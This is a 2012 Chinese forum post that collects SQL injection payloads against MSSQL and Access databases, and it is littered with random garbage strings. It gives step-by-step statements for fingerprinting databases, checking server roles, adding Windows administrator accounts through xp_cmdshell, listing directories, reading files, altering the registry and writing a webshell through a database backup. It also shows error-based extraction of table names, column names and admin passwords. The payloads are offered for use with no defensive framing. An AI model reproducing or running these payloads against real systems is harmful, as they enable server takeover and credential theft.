找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1935|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
; p: \) B$ V8 s" K5 ]; }, }$ W;and 1=1
$ i) O- x2 t4 P6 K;and 1=2 / ?& ~' f. X2 I# {: r
/ [. G& a# u& S  A9 y
2.初步判断是否是mssql $ V: y" ?; l& A/ v" s* E, C' f9 H( g
;and user>0
7 J& J% D- X  o) C9 [9 l% `, h+ I1 Z0 h: E
3.判断数据库系统 % N  n5 c% ^9 O
;and (select count(*) from sysobjects)>0 mssql 3 z" s" y- u% s1 T( u% h2 b" {
;and (select count(*) from msysobjects)>0 access $ h- z8 Q' e1 D: ^. `  k
/ u) r. s1 V0 L$ K
4.注入参数是字符 / `" k, F8 O' p  R5 ~; R7 s# D
'and [查询条件] and ''=' 6 ^7 x* Y  D/ h% \8 F
# I9 Y; y5 Z- B3 ^: K1 ?6 W7 f
5.搜索时没过滤参数的 / e6 @5 L/ y$ t0 g. [
'and [查询条件] and '%25'=' 0 X4 S, Z3 w, ?% _; O7 g
  l! H) S# Y. j- H
6.猜数表名 ! P5 Z( f9 D: Z' w% h: L& E, g# b( ~
;and (select Count(*) from [表名])>0   ]8 R5 B5 l% U& B0 E# F

! n/ n! B8 p! @) f# `: z0 J8 o7.猜字段
+ \# ?! c/ M: {8 |;and (select Count(字段名) from 表名)>0 2 g* l* I0 u! L4 M
8 d8 C& @5 }* k
8.猜字段中记录长度 1 f5 z( j) P6 c
;and (select top 1 len(字段名) from 表名)>0
4 W% j. Y) C) q9 Q7 l* `+ D. U- e3 I8 p1 S* @
9.(1)猜字段的ascii值(access)
/ ]7 }  [7 {& {4 Q% E1 A0 M;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
, O; T- S6 g+ R/ k$ S
8 ]1 L4 F) y, L! o* ^; P(2)猜字段的ascii值(mssql) / O" H1 M3 j5 Z9 I. z' I8 t# y
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
+ z: Y2 E, e" l1 n0 M- S) Q  |1 C" ]& ~8 _2 Y# Y
10.测试权限结构(mssql) - V2 Z2 s( j( a' _3 n! B
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9 |/ S8 ~: M& H' x# w9 I
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
2 J& x% Y0 C3 u# @) w% S;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3 C1 I" Y# u' X+ d3 ~2 z! @
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- + v/ ^; v1 G9 s* g" S: M
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
! e) M/ Y2 b. c) A1 t;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; w' W/ z. n4 g8 ]0 ]* G  B% B3 ]9 ?2 }
;and 1=(select IS_MEMBER('db_owner'));--
7 C1 o! c5 w' z$ T; B( i8 C6 c$ l( E6 j: [
11.添加mssql和系统的帐户
# l/ N; a  k9 E) W;exec master.dbo.sp_addlogin username;--
/ }( G/ d1 n3 e9 r5 H;exec master.dbo.sp_password null,username,password;-- + D) }# S* ~; J% P4 V5 |# f
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
, A1 g6 _+ _. U7 R;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- $ A* {7 F$ Z! ]# L& M
;exec master.dbo.xp_cmdshell 'net user username password /add';-- " \, \+ h( @4 f' T) V
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4 c9 S) f8 N5 I, Z
6 ?& G+ Y! h3 b4 X, g! `# ?: w
12.(1)遍历目录
, s* Y' W0 ~' {: T% f2 n;create table dirs(paths varchar(100), id int) # q$ W/ w, I# |+ O: X
;insert dirs exec master.dbo.xp_dirtree 'c:\' # ^& r6 x/ I( c8 w9 E
;and (select top 1 paths from dirs)>0
0 |+ i4 n& H: r" {5 c, T+ ];and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 ^* \4 e  F+ g5 r5 @8 O" m
# f/ }' v- {& ~; }1 a# O; b, `: p(2)遍历目录 ! A9 Z- V+ r0 N& e$ T/ b
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- : `6 l- M) t  M4 s, q4 y8 E7 Q# v
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7 p# _" y5 [7 p4 T
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 - ~) C- D( f' J1 M* _
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
# ?& }% U1 P' k( V* |% d;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 / {* k4 d% S' W) {7 c

; }* o1 E6 @4 k  p  Q13.mssql中的存储过程
" }/ t% ]' D& M' L6 a5 rxp_regenumvalues 注册表根键, 子键
, x) ^" m2 c& \) I1 u5 \* J;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
2 ~& ]( v& V+ P% i# Txp_regread 根键,子键,键值名 , K5 T% l* S  }6 ~9 ~+ _3 G
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 - L1 G4 X9 c: I3 g# f6 `
xp_regwrite 根键,子键, 值名, 值类型, 值 4 X; q: Q/ s' y' k
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 8 P- o/ l. ^8 E
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 * H5 H& J0 g' v- o9 Y
xp_regdeletevalue 根键,子键,值名
! b& Z; X  }. N( g+ D% Z2 s7 \exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ( q' V! K8 a/ f/ }# v# W" Y" J
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 , T9 I$ N' M% Y
2 ~; u2 `% E2 d4 s
14.mssql的backup创建webshell " V2 c) @& m- p) }* ]
use model
6 O% |3 l: D; E  D8 b! xcreate table cmd(str image); 4 P+ m' ^6 b8 |5 g
insert into cmd(str) values ('<% Dim oScript %>'); - \8 {' A% j, i0 I% {( d3 B# j2 u
backup database model to disk='c:\l.asp';
% S& b/ P% A4 @% A2 Z0 o
+ ?3 S/ w  V- n, e15.mssql内置函数 - {$ D% A. t3 Z/ V- K; [# I( n
;and (select @@version)>0 获得Windows的版本号
5 C% ]+ o& U: n8 q- M;and user_name()='dbo' 判断当前系统的连接用户是不是sa ; Y* B" g& b$ P  J
;and (select user_name())>0 爆当前系统的连接用户
, F- R2 x% t2 O8 u: R;and (select db_name())>0 得到当前连接的数据库 . G3 ?* T- Z9 B5 Z  `
1 z) {" c- _# Y1 n! ?

' x7 N; p% P$ G# t6 c5 r. {* b; [' N3 R' }5 q: Z$ Z# X) T
MSSQL手注暴库
+ u% z/ }4 H2 n6 y$ ~$ B- O. n
. }5 }( N) H$ _1.暴出当前表名和列名
6 u1 Y3 i! Q+ z0 t4 {! z% D5 k# {在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
7 W" {" t. Z0 x% j5 p) @- F) p) W; N) N
第一.爆出所有数据库名
! O( N' B6 z2 x  M" Y% J利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。9 e6 L; Y7 }# ~8 l- T5 u$ X
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
9 w# S2 T; f+ p/ e* P, T) T+ S6 {% H! U& Y  N* ?
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名1 O  `9 y) ^& ?

$ W% A+ H8 j2 i9 I0 }$ m/ }4 g% [* J2 R" y$ v
第二.爆出指定库中的所有表名
& v; }! }* N$ l7 q4 c) j得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。' |! }. n  R' b: c- t' A1 V, x
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。. N, ]2 R9 c7 D3 y9 u. c$ I
8 n' f5 j4 u% b' h! V
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--& S1 T! _  C; M9 @8 s9 ?/ P! s. b
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--: e" K" D& \/ W5 ?' b4 Y1 O
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--7 X- e8 F0 N: P% q! |" j

! D6 A: |: f5 Y( K. l$ U4.爆出指定表中的所有列名
5 X* }0 a  p5 [) w/ A7 w8 {6 Land 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
& n& z/ S7 _$ R8 \2 f# Q% A: Y( R//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
6 _, E0 ^7 D# }3 d
! u3 o& h% d; l' \6 tand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
9 ]  m8 {1 f% _: M# r' C" [; ~7 T: H: Q
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 5 w& Q, I: g8 S) p: e4 N* W
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。& X" M( t4 c. t) M2 Z5 b
  K! h$ s3 ?) f6 z3 {: s

# i, o( j, M# U# A8 ?' pand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值7 Q9 x) m3 M( `9 n/ p

+ }0 G, J4 K7 [1 i. U+ o7 qand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
) j) h9 y5 o9 I, b/ |
+ {; J# D  h2 S" N% hand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 0 Z' I+ ?. `# \6 |7 |

3 B+ Z' y* |( m7 k
6 H) a9 M& W2 ^5 k2 _" z) b( g; [7 {
; o8 H. I4 r  K9 D5 y7 R, L, i7 y5.读取指定表中的数据
' R0 b: \; t# m8 F: w
& y4 n5 L; e) Sand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 0 N6 L1 U$ E1 f9 b

) }+ u; ?" q- E1 w: |, }  oand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--9 h  V# |% G' {  j
7 h& Y' c/ l: [; t1 W! d+ g
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码# K, s$ `: m0 o

5 a5 A! g; g9 m' s8 _
0 o6 a' `6 W! I! uand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
! h1 F7 q/ `" v: O# W$ D
2 u5 J* D  `4 g3 l8 xand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)* F$ R8 B# M* M3 j& P3 [4 J
4 U0 s& }- M- f0 E4 E: l  L- q
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--* c6 e0 z+ h6 v0 J4 Q. W: l2 x- R- j
6 `: V, r+ i1 C1 ]. a  B
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
9 J. g4 R  h3 ]4 S8 R/ z4 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表